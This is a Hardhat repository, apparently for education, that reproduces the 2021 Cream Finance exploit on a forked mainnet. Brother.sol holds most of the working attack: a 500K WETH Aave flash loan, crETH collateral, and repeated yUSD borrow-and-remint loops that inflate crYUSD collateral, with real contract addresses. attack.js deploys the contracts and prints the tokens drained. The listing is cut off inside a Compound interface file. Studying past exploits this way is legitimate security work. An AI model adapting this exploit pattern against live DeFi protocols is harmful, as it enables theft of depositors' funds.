├── contracts
├── interfaces
│ ├── IUSDT.sol
│ ├── IYVaultPeak.sol
│ ├── IcrETH.sol
│ ├── IcrYUSD.sol
│ ├── IStableSwapCompound.sol
│ ├── IyUSD.sol
│ ├── IWETH.sol
│ ├── aave
│ │ ├── ILendingPoolAddressesProvider.sol
│ │ ├── IFlashLoanReceiver.sol
│ │ ├── ILendingPool.sol
│ │ └── FlashLoanReceiverBase.sol
│ ├── IUnitroller.sol
│ ├── IySwap.sol
│ ├── IyDAI.sol
│ ├── Uniswap.sol
│ ├── compound
│ │ ├── InterestRateModel.sol
│ │ ├── ComptrollerInterface.sol
│ │ └── CTokenInterfaces.sol
│ ├── IERC3156FlashBorrower.sol
│ └── IERC3156FlashLender.sol
├── Brother.sol
└── Attack.sol
├── .gitignore
├── README.md
├── package.json
├── hardhat.config.js
└── scripts
├── config.js
└── attack.js
/contracts/interfaces/IUSDT.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IUSDT {
3 | function transfer(address _to, uint _value) external;
4 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | .env
3 | coverage
4 | coverage.json
5 | typechain
6 |
7 | #Hardhat files
8 | cache
9 | artifacts
10 |
--------------------------------------------------------------------------------
/contracts/interfaces/IYVaultPeak.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IYVaultPeak {
3 | function redeemInYusd(uint dusdAmount, uint minOut) external;
4 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IcrETH.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IcrETH {
3 | function mint() external payable;
4 | function borrow(uint borrowAmount) external returns (uint);
5 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IcrYUSD.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IcrYUSD {
3 | function mint(uint mintAmount) external returns (uint);
4 |
5 | function borrow(uint borrowAmount) external returns (uint);
6 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IStableSwapCompound.sol:
--------------------------------------------------------------------------------
1 |
2 |
3 | interface IStableSwapCompound {
4 | function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256);
5 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IyUSD.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IyUSD {
3 | function deposit(uint256 _amount) external;
4 | function withdraw() external returns (uint256);
5 | function totalAssets() external returns (uint256);
6 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IWETH.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IWETH {
3 | function deposit() external payable;
4 |
5 | function transfer(address to, uint value) external returns (bool);
6 |
7 | function withdraw(uint) external;
8 | }
--------------------------------------------------------------------------------
/contracts/interfaces/aave/ILendingPoolAddressesProvider.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8;
3 |
4 | interface ILendingPoolAddressesProvider {
5 | function getLendingPool() external view returns (address);
6 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IUnitroller.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IUnitroller {
3 | function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
4 | function getAccountLiquidity(address account) external returns (uint, uint, uint);
5 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IySwap.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IySwap {
3 | function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external;
4 | function remove_liquidity_imbalance(uint256[4] memory amounts, uint256 max_burn_amount) external;
5 |
6 | function get_y(int128 i, int128 j, uint256 x, uint256[4] memory _xp) external returns (uint256);
7 | }
--------------------------------------------------------------------------------
/contracts/interfaces/aave/IFlashLoanReceiver.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8;
3 |
4 | interface IFlashLoanReceiver {
5 | function executeOperation(
6 | address[] calldata assets,
7 | uint[] calldata amounts,
8 | uint[] calldata premiums,
9 | address initiator,
10 | bytes calldata params
11 | ) external returns (bool);
12 | }
13 |
--------------------------------------------------------------------------------
/contracts/interfaces/IyDAI.sol:
--------------------------------------------------------------------------------
1 |
2 | interface IyDAI {
3 | function deposit(uint256 _amount) external;
4 |
5 | function withdraw(uint256 _shares) external;
6 |
7 | function approve(address spender, uint256 amount) external returns (bool);
8 |
9 | function balanceOf(address account) external view returns (uint256);
10 |
11 | function getPricePerFullShare() external returns (uint256);
12 | }
--------------------------------------------------------------------------------
/contracts/interfaces/aave/ILendingPool.sol:
--------------------------------------------------------------------------------
1 |
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8;
4 |
5 | interface ILendingPool {
6 | function flashLoan(
7 | address receiverAddress,
8 | address[] calldata assets,
9 | uint[] calldata amounts,
10 | uint[] calldata modes,
11 | address onBehalfOf,
12 | bytes calldata params,
13 | uint16 referralCode
14 | ) external;
15 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Cream Finance Exploit Example
2 |
3 | Disclaimer: This project is for educational purposes only. The author has no relationship to the exploiter or the exploit that happened.
4 |
5 |
6 |
7 | How to Run:
8 |
9 | Add you Alchemy key api to .env file.
10 | E.g: ALCHEMY_API_KEY=https://eth-mainnet.alchemyapi.io/v2/key-goes-here
11 |
12 | then
13 |
14 | ```shell
15 | npm install
16 | npx hardhat run scripts/attack.js
17 | ```
18 |
--------------------------------------------------------------------------------
/contracts/interfaces/Uniswap.sol:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | interface ISwapRouter {
5 | struct ExactOutputSingleParams {
6 | address tokenIn;
7 | address tokenOut;
8 | uint24 fee;
9 | address recipient;
10 | uint256 deadline;
11 | uint256 amountOut;
12 | uint256 amountInMaximum;
13 | uint160 sqrtPriceLimitX96;
14 | }
15 |
16 | function exactOutputSingle(ISwapRouter.ExactOutputSingleParams calldata params) external returns (uint256 amountIn);
17 | }
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "cream-finance-exploit-example",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "devDependencies": {
13 | "@nomiclabs/hardhat-ethers": "^2.0.2",
14 | "@nomiclabs/hardhat-waffle": "^2.0.1",
15 | "@openzeppelin/contracts": "^4.3.2",
16 | "chai": "^4.3.4",
17 | "dotenv": "^10.0.0",
18 | "ethereum-waffle": "^3.4.0",
19 | "ethers": "^5.5.1",
20 | "hardhat": "^2.6.7"
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/contracts/interfaces/aave/FlashLoanReceiverBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8;
3 |
4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
6 |
7 | import "./IFlashLoanReceiver.sol";
8 | import "./ILendingPoolAddressesProvider.sol";
9 | import "./ILendingPool.sol";
10 |
11 | abstract contract FlashLoanReceiverBase is IFlashLoanReceiver {
12 | using SafeERC20 for IERC20;
13 |
14 | ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
15 | ILendingPool public immutable LENDING_POOL;
16 |
17 | constructor(ILendingPoolAddressesProvider provider) {
18 | ADDRESSES_PROVIDER = provider;
19 | LENDING_POOL = ILendingPool(provider.getLendingPool());
20 | }
21 | }
--------------------------------------------------------------------------------
/hardhat.config.js:
--------------------------------------------------------------------------------
1 | require("@nomiclabs/hardhat-waffle");
2 | require('dotenv').config()
3 |
4 | // This is a sample Hardhat task. To learn how to create your own go to
5 | // https://hardhat.org/guides/create-task.html
6 | task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
7 | const accounts = await hre.ethers.getSigners();
8 |
9 | for (const account of accounts) {
10 | console.log(account.address);
11 | }
12 | });
13 |
14 | // You need to export an object to set up your config
15 | // Go to https://hardhat.org/config/ to learn more
16 |
17 | ALCHEMY_API_KEY = process.env.ALCHEMY_API_KEY
18 |
19 | /**
20 | * @type import('hardhat/config').HardhatUserConfig
21 | */
22 | module.exports = {
23 | solidity: {
24 | compilers: [
25 | {
26 | version: "0.8.4",
27 | settings: {},
28 | },
29 | ],
30 | },
31 | networks: {
32 | hardhat: {
33 | forking: {
34 | url: ALCHEMY_API_KEY,
35 | blockNumber: 13499797, // block number before attack
36 | }
37 | }
38 | },
39 | };
40 |
--------------------------------------------------------------------------------
/contracts/interfaces/compound/InterestRateModel.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.8;
2 |
3 | /**
4 | * @title Compound's InterestRateModel Interface
5 | * @author Compound
6 | */
7 | abstract contract InterestRateModel {
8 | /// @notice Indicator that this is an InterestRateModel contract (for inspection)
9 | bool public constant isInterestRateModel = true;
10 |
11 | /**
12 | * @notice Calculates the current borrow interest rate per block
13 | * @param cash The total amount of cash the market has
14 | * @param borrows The total amount of borrows the market has outstanding
15 | * @param reserves The total amount of reserves the market has
16 | * @return The borrow rate per block (as a percentage, and scaled by 1e18)
17 | */
18 | function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint);
19 |
20 | /**
21 | * @notice Calculates the current supply interest rate per block
22 | * @param cash The total amount of cash the market has
23 | * @param borrows The total amount of borrows the market has outstanding
24 | * @param reserves The total amount of reserves the market has
25 | * @param reserveFactorMantissa The current reserve factor the market has
26 | * @return The supply rate per block (as a percentage, and scaled by 1e18)
27 | */
28 | function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint);
29 |
30 | }
31 |
--------------------------------------------------------------------------------
/scripts/config.js:
--------------------------------------------------------------------------------
1 | const WETH = {address: "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", decimals: 18}
2 | const fourYPool = {address: "0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8", decimals: 18}
3 | const XSUSHI = {address: "0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272", decimals: 18}
4 | const WNXM = {address: "0x0d438F3b5175Bebc262bF23753C1E53d03432bDE", decimals: 18}
5 | const PERP = {address: "0xbC396689893D065F41bc2C6EcbeE5e0085233447", decimals: 18}
6 | const Rune = {address: "0x3155BA85D5F96b2d030a4966AF206230e46849cb", decimals: 18}
7 | const DPI = {address: "0x1494CA1F11D487c2bBe4543E90080AeBa4BA3C2b", decimals: 18}
8 | const UNI = {address: "0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984", decimals: 18}
9 | const USDC = {address: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", decimals: 6}
10 | const FEI = {address: "0x956F47F50A910163D8BF957Cf5846D573E7f87CA", decimals: 18}
11 | const USDT = {address: "0xdAC17F958D2ee523a2206206994597C13D831ec7", decimals: 6}
12 | const YVCurvestETH = {address: "0xdCD90C7f6324cfa40d7169ef80b12031770B4325", decimals: 18}
13 | const GNO = {address: "0x6810e776880C02933D47DB1b9fc05908e5386b96", decimals: 18}
14 | const FTT = {address: "0x50D1c9771902476076eCFc8B2A83Ad6b9355a4c9", decimals: 18}
15 | const YGG = {address: "0x25f8087EAD173b73D6e8B84329989A8eEA16CF73", decimals: 18}
16 |
17 | module.exports = {
18 | WETH,
19 | fourYPool,
20 | XSUSHI,
21 | WNXM,
22 | PERP,
23 | Rune,
24 | DPI,
25 | UNI,
26 | USDC,
27 | FEI,
28 | USDT,
29 | YVCurvestETH,
30 | GNO,
31 | FTT,
32 | YGG,
33 | }
--------------------------------------------------------------------------------
/contracts/interfaces/IERC3156FlashBorrower.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: AGPL-3.0-or-later
2 | // Copyright (C) 2021 Dai Foundation
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU Affero General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU Affero General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU Affero General Public License
15 | // along with this program. If not, see .
16 |
17 | pragma solidity >=0.6.12;
18 |
19 | interface IERC3156FlashBorrower {
20 |
21 | /**
22 | * @dev Receive a flash loan.
23 | * @param initiator The initiator of the loan.
24 | * @param token The loan currency.
25 | * @param amount The amount of tokens lent.
26 | * @param fee The additional amount of tokens to repay.
27 | * @param data Arbitrary data structure, intended to contain user-defined parameters.
28 | * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
29 | */
30 | function onFlashLoan(
31 | address initiator,
32 | address token,
33 | uint256 amount,
34 | uint256 fee,
35 | bytes calldata data
36 | ) external returns (bytes32);
37 | }
38 |
--------------------------------------------------------------------------------
/contracts/interfaces/IERC3156FlashLender.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: AGPL-3.0-or-later
2 | // Copyright (C) 2021 Dai Foundation
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU Affero General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU Affero General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU Affero General Public License
15 | // along with this program. If not, see .
16 |
17 | pragma solidity >=0.6.12;
18 |
19 | import "./IERC3156FlashBorrower.sol";
20 |
21 | interface IERC3156FlashLender {
22 |
23 | /**
24 | * @dev The amount of currency available to be lent.
25 | * @param token The loan currency.
26 | * @return The amount of `token` that can be borrowed.
27 | */
28 | function maxFlashLoan(
29 | address token
30 | ) external view returns (uint256);
31 |
32 | /**
33 | * @dev The fee to be charged for a given loan.
34 | * @param token The loan currency.
35 | * @param amount The amount of tokens lent.
36 | * @return The amount of `token` to be charged for the loan, on top of the returned principal.
37 | */
38 | function flashFee(
39 | address token,
40 | uint256 amount
41 | ) external view returns (uint256);
42 |
43 | /**
44 | * @dev Initiate a flash loan.
45 | * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
46 | * @param token The loan currency.
47 | * @param amount The amount of tokens lent.
48 | * @param data Arbitrary data structure, intended to contain user-defined parameters.
49 | */
50 | function flashLoan(
51 | IERC3156FlashBorrower receiver,
52 | address token,
53 | uint256 amount,
54 | bytes calldata data
55 | ) external returns (bool);
56 | }
57 |
--------------------------------------------------------------------------------
/scripts/attack.js:
--------------------------------------------------------------------------------
1 |
2 | const {
3 | WETH,
4 | fourYPool,
5 | XSUSHI,
6 | WNXM,
7 | PERP,
8 | Rune,
9 | DPI,
10 | UNI,
11 | USDC,
12 | FEI,
13 | USDT,
14 | YVCurvestETH,
15 | GNO,
16 | FTT,
17 | YGG,
18 | } = require("./config")
19 |
20 | const AAVE_LENDING_POOL_PROVIDER = "0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5"
21 |
22 | async function getTokenBalance(token, signer) {
23 | contract = await ethers.getContractAt("IERC20", token.address, signer)
24 | const balance = await contract.balanceOf(signer.address)
25 | return ethers.utils.formatUnits(balance, token.decimals)
26 | }
27 |
28 | async function main() {
29 | const blockNumber = await ethers.provider.getBlockNumber()
30 | console.log('Block number: ', blockNumber)
31 |
32 |
33 | const [owner] = await ethers.getSigners()
34 |
35 | const Attack = await ethers.getContractFactory("Attack")
36 | const attack = await Attack.deploy()
37 | await attack.deployed()
38 | console.log('Deployed Attack contract to: ', attack.address)
39 |
40 | const Brother = await ethers.getContractFactory("Brother")
41 | const brother = await Brother.deploy(attack.address, AAVE_LENDING_POOL_PROVIDER)
42 | await brother.deployed()
43 | console.log('Deployed Brother contract to: ', brother.address)
44 |
45 | const tx = await attack.start(brother.address)
46 |
47 | console.log('Owner balances after exploit: ')
48 | console.log('WETH ', await getTokenBalance(WETH, owner))
49 | console.log('fourYPool ', await getTokenBalance(fourYPool, owner))
50 | console.log('XSUSHI ', await getTokenBalance(XSUSHI, owner))
51 | console.log('WNXM ', await getTokenBalance(WNXM, owner))
52 | console.log('PERP ', await getTokenBalance(PERP, owner))
53 | console.log('Rune ', await getTokenBalance(Rune, owner))
54 | console.log('DPI ', await getTokenBalance(DPI, owner))
55 | console.log('UNI ', await getTokenBalance(UNI, owner))
56 | console.log('USDC ', await getTokenBalance(USDC, owner))
57 | console.log('FEI ', await getTokenBalance(FEI, owner))
58 | console.log('USDT ', await getTokenBalance(USDT, owner))
59 | console.log('YVCurvestETH ', await getTokenBalance(YVCurvestETH, owner))
60 | console.log('GNO ', await getTokenBalance(GNO, owner))
61 | console.log('FTT ', await getTokenBalance(FTT, owner))
62 | console.log('YGG ', await getTokenBalance(YGG, owner))
63 | }
64 |
65 |
66 | main()
67 | .then(() => process.exit(0))
68 | .catch((error) => {
69 | console.error(error);
70 | process.exit(1);
71 | });
--------------------------------------------------------------------------------
/contracts/interfaces/compound/ComptrollerInterface.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.8;
2 |
3 | abstract contract ComptrollerInterface {
4 | /// @notice Indicator that this is a Comptroller contract (for inspection)
5 | bool public constant isComptroller = true;
6 |
7 | /*** Assets You Are In ***/
8 |
9 | function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory);
10 | function exitMarket(address cToken) external virtual returns (uint);
11 |
12 | /*** Policy Hooks ***/
13 |
14 | function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint);
15 | function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual;
16 |
17 | function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint);
18 | function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual;
19 |
20 | function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint);
21 | function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual;
22 |
23 | function repayBorrowAllowed(
24 | address cToken,
25 | address payer,
26 | address borrower,
27 | uint repayAmount) external virtual returns (uint);
28 | function repayBorrowVerify(
29 | address cToken,
30 | address payer,
31 | address borrower,
32 | uint repayAmount,
33 | uint borrowerIndex) external virtual;
34 |
35 | function liquidateBorrowAllowed(
36 | address cTokenBorrowed,
37 | address cTokenCollateral,
38 | address liquidator,
39 | address borrower,
40 | uint repayAmount) external virtual returns (uint);
41 | function liquidateBorrowVerify(
42 | address cTokenBorrowed,
43 | address cTokenCollateral,
44 | address liquidator,
45 | address borrower,
46 | uint repayAmount,
47 | uint seizeTokens) external virtual;
48 |
49 | function seizeAllowed(
50 | address cTokenCollateral,
51 | address cTokenBorrowed,
52 | address liquidator,
53 | address borrower,
54 | uint seizeTokens) external virtual returns (uint);
55 | function seizeVerify(
56 | address cTokenCollateral,
57 | address cTokenBorrowed,
58 | address liquidator,
59 | address borrower,
60 | uint seizeTokens) external virtual;
61 |
62 | function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint);
63 | function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual;
64 |
65 | /*** Liquidity/Liquidation Calculations ***/
66 |
67 | function liquidateCalculateSeizeTokens(
68 | address cTokenBorrowed,
69 | address cTokenCollateral,
70 | uint repayAmount) external virtual view returns (uint, uint);
71 | }
72 |
--------------------------------------------------------------------------------
/contracts/Brother.sol:
--------------------------------------------------------------------------------
1 |
2 | pragma solidity ^0.8;
3 |
4 | import "@openzeppelin/contracts/access/Ownable.sol";
5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
6 | import "./Attack.sol";
7 | import "./interfaces/IWETH.sol";
8 | import "./interfaces/aave/FlashLoanReceiverBase.sol";
9 | import "./interfaces/IcrETH.sol";
10 | import "./interfaces/IUnitroller.sol";
11 | import "./interfaces/IcrYUSD.sol";
12 |
13 |
14 | import "hardhat/console.sol";
15 |
16 | contract Brother is Ownable, FlashLoanReceiverBase {
17 |
18 | address payable brother;
19 |
20 | address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21 | uint256 WETH_AMOUNT = 524102159298234706604104; // 500K WETH
22 |
23 | address crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;
24 | address crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
25 | address yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
26 |
27 | // Unitroller
28 | address UnitrollerAddress = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258;
29 |
30 | modifier onlyBrother {
31 | require(msg.sender == brother, "Not my brother");
32 | _;
33 | }
34 |
35 | constructor(address payable _brother, ILendingPoolAddressesProvider _addressProvider)
36 | FlashLoanReceiverBase(_addressProvider)
37 | {
38 | brother = _brother;
39 | }
40 |
41 | fallback () external payable {}
42 |
43 | function flashLoanAAVE() external onlyBrother {
44 | // Don't know why exploiter queried this?
45 | (uint err, uint liquidity, uint shortfall) = IUnitroller(UnitrollerAddress).getAccountLiquidity(brother);
46 |
47 | address receiver = address(this);
48 |
49 | address[] memory assets = new address[](1);
50 | assets[0] = WETH;
51 |
52 | uint[] memory amounts = new uint[](1);
53 | amounts[0] = WETH_AMOUNT;
54 |
55 | uint[] memory modes = new uint[](1);
56 | modes[0] = 0;
57 |
58 | address onBehalfOf = address(this);
59 |
60 | bytes memory params = "";
61 | uint16 referralCode = 0;
62 |
63 | LENDING_POOL.flashLoan(
64 | receiver,
65 | assets,
66 | amounts,
67 | modes,
68 | onBehalfOf,
69 | params,
70 | referralCode
71 | );
72 |
73 | moveFunds();
74 | }
75 |
76 | function executeOperation(
77 | address[] calldata assets,
78 | uint[] calldata amounts,
79 | uint[] calldata premiums,
80 | address initiator,
81 | bytes calldata params
82 | ) external override returns (bool) {
83 | require(initiator == address(this), "Untrusted loan initiator");
84 |
85 | continueAttack();
86 |
87 |
88 | // Approve for repay
89 | for (uint i = 0; i < assets.length; i++) {
90 | uint amountOwing = amounts[i] + premiums[i];
91 | IERC20(assets[i]).approve(address(LENDING_POOL), amountOwing);
92 | }
93 |
94 | return true;
95 | }
96 |
97 | function continueAttack() internal {
98 | uint sendAmount = 6000 * 1e18;
99 | uint remainAmount = WETH_AMOUNT - sendAmount;
100 | IWETH(WETH).transfer(brother, sendAmount);
101 | IWETH(WETH).withdraw(remainAmount);
102 |
103 | // mint crETH
104 | IcrETH(payable(crETH)).mint{value: remainAmount}();
105 | address[] memory cTokens = new address[](1);
106 | cTokens[0] = crETH;
107 | // use crETH as collateral
108 | IUnitroller(UnitrollerAddress).enterMarkets(cTokens);
109 | // borrow yUSD from Cream
110 | uint yUSDBalanceInCream = IERC20(yUSD).balanceOf(crYUSD);
111 | IcrYUSD(crYUSD).borrow(yUSDBalanceInCream);
112 | uint yUSDBalance = IERC20(yUSD).balanceOf(address(this));
113 | // mint crYUSD using yUSD
114 | IERC20(yUSD).approve(crYUSD, yUSDBalance);
115 | IcrYUSD(crYUSD).mint(yUSDBalance);
116 | uint crYUSDBalance = IERC20(crYUSD).balanceOf(address(this));
117 | // transfer crYUSD to main attack contract
118 | IERC20(crYUSD).transfer(brother, crYUSDBalance);
119 | // borrow yUSD from Cream again!
120 | // Remember that by minting crYUSD the yUSD got transferred
121 | // back to Cream so we can borrow it again
122 | IcrYUSD(crYUSD).borrow(yUSDBalanceInCream);
123 | yUSDBalance = IERC20(yUSD).balanceOf(address(this));
124 | // mint crYUSD using yUSD again!
125 | IERC20(yUSD).approve(crYUSD, yUSDBalance);
126 | IcrYUSD(crYUSD).mint(yUSDBalance);
127 | crYUSDBalance = IERC20(crYUSD).balanceOf(address(this));
128 | // transfer crYUSD to main attack contract again!
129 | IERC20(crYUSD).transfer(brother, crYUSDBalance);
130 | // borrow yUSD from Cream for the third time and transfer to main attack contract
131 | IcrYUSD(crYUSD).borrow(yUSDBalanceInCream);
132 | yUSDBalance = IERC20(yUSD).balanceOf(address(this));
133 | IERC20(yUSD).transfer(brother, yUSDBalance);
134 |
135 | // In total we transferred 1B crYUSD & 500M yUSD to main contract
136 | Attack(brother).continueAttack();
137 | }
138 |
139 | function moveFunds() internal {
140 | IERC20(WETH).transfer(owner(), IERC20(WETH).balanceOf(address(this)));
141 | }
142 | }
--------------------------------------------------------------------------------
/contracts/interfaces/compound/CTokenInterfaces.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.8;
2 |
3 | import "./ComptrollerInterface.sol";
4 | import "./InterestRateModel.sol";
5 |
6 | contract CTokenStorage {
7 | /**
8 | * @dev Guard variable for re-entrancy checks
9 | */
10 | bool internal _notEntered;
11 |
12 | /**
13 | * @notice EIP-20 token name for this token
14 | */
15 | string public name;
16 |
17 | /**
18 | * @notice EIP-20 token symbol for this token
19 | */
20 | string public symbol;
21 |
22 | /**
23 | * @notice EIP-20 token decimals for this token
24 | */
25 | uint8 public decimals;
26 |
27 | /**
28 | * @notice Maximum borrow rate that can ever be applied (.0005% / block)
29 | */
30 |
31 | uint internal constant borrowRateMaxMantissa = 0.0005e16;
32 |
33 | /**
34 | * @notice Maximum fraction of interest that can be set aside for reserves
35 | */
36 | uint internal constant reserveFactorMaxMantissa = 1e18;
37 |
38 | /**
39 | * @notice Administrator for this contract
40 | */
41 | address payable public admin;
42 |
43 | /**
44 | * @notice Pending administrator for this contract
45 | */
46 | address payable public pendingAdmin;
47 |
48 | /**
49 | * @notice Contract which oversees inter-cToken operations
50 | */
51 | ComptrollerInterface public comptroller;
52 |
53 | /**
54 | * @notice Model which tells what the current interest rate should be
55 | */
56 | InterestRateModel public interestRateModel;
57 |
58 | /**
59 | * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
60 | */
61 | uint internal initialExchangeRateMantissa;
62 |
63 | /**
64 | * @notice Fraction of interest currently set aside for reserves
65 | */
66 | uint public reserveFactorMantissa;
67 |
68 | /**
69 | * @notice Block number that interest was last accrued at
70 | */
71 | uint public accrualBlockNumber;
72 |
73 | /**
74 | * @notice Accumulator of the total earned interest rate since the opening of the market
75 | */
76 | uint public borrowIndex;
77 |
78 | /**
79 | * @notice Total amount of outstanding borrows of the underlying in this market
80 | */
81 | uint public totalBorrows;
82 |
83 | /**
84 | * @notice Total amount of reserves of the underlying held in this market
85 | */
86 | uint public totalReserves;
87 |
88 | /**
89 | * @notice Total number of tokens in circulation
90 | */
91 | uint public totalSupply;
92 |
93 | /**
94 | * @notice Official record of token balances for each account
95 | */
96 | mapping (address => uint) internal accountTokens;
97 |
98 | /**
99 | * @notice Approved token transfer amounts on behalf of others
100 | */
101 | mapping (address => mapping (address => uint)) internal transferAllowances;
102 |
103 | /**
104 | * @notice Container for borrow balance information
105 | * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
106 | * @member interestIndex Global borrowIndex as of the most recent balance-changing action
107 | */
108 | struct BorrowSnapshot {
109 | uint principal;
110 | uint interestIndex;
111 | }
112 |
113 | /**
114 | * @notice Mapping of account addresses to outstanding borrow balances
115 | */
116 | mapping(address => BorrowSnapshot) internal accountBorrows;
117 | }
118 |
119 | abstract contract CTokenInterface is CTokenStorage {
120 | /**
121 | * @notice Indicator that this is a CToken contract (for inspection)
122 | */
123 | bool public constant isCToken = true;
124 |
125 |
126 | /*** Market Events ***/
127 |
128 | /**
129 | * @notice Event emitted when interest is accrued
130 | */
131 | event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
132 |
133 | /**
134 | * @notice Event emitted when tokens are minted
135 | */
136 | event Mint(address minter, uint mintAmount, uint mintTokens);
137 |
138 | /**
139 | * @notice Event emitted when tokens are redeemed
140 | */
141 | event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
142 |
143 | /**
144 | * @notice Event emitted when underlying is borrowed
145 | */
146 | event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
147 |
148 | /**
149 | * @notice Event emitted when a borrow is repaid
150 | */
151 | event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
152 |
153 | /**
154 | * @notice Event emitted when a borrow is liquidated
155 | */
156 | event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
157 |
158 |
159 | /*** Admin Events ***/
160 |
161 | /**
162 | * @notice Event emitted when pendingAdmin is changed
163 | */
164 | event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
165 |
166 | /**
167 | * @notice Event emitted when pendingAdmin is accepted, which means admin is updated
168 | */
169 | event NewAdmin(address oldAdmin, address newAdmin);
170 |
171 | /**
172 | * @notice Event emitted when comptroller is changed
173 | */
174 | event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
175 |
176 | /**
177 | * @notice Event emitted when interestRateModel is changed
178 | */
179 | event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
180 |
181 | /**
182 | * @notice Event emitted when the reserve factor is changed
183 | */
184 | event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
185 |
186 | /**
187 | * @notice Event emitted when the reserves are added
188 | */
189 | event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
190 |
191 | /**
192 | * @notice Event emitted when the reserves are reduced
193 | */
194 | event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
195 |
196 | /**
197 | * @notice EIP20 Transfer event
198 | */
199 | event Transfer(address indexed from, address indexed to, uint amount);
200 |
201 | /**
202 | * @notice EIP20 Approval event
203 | */
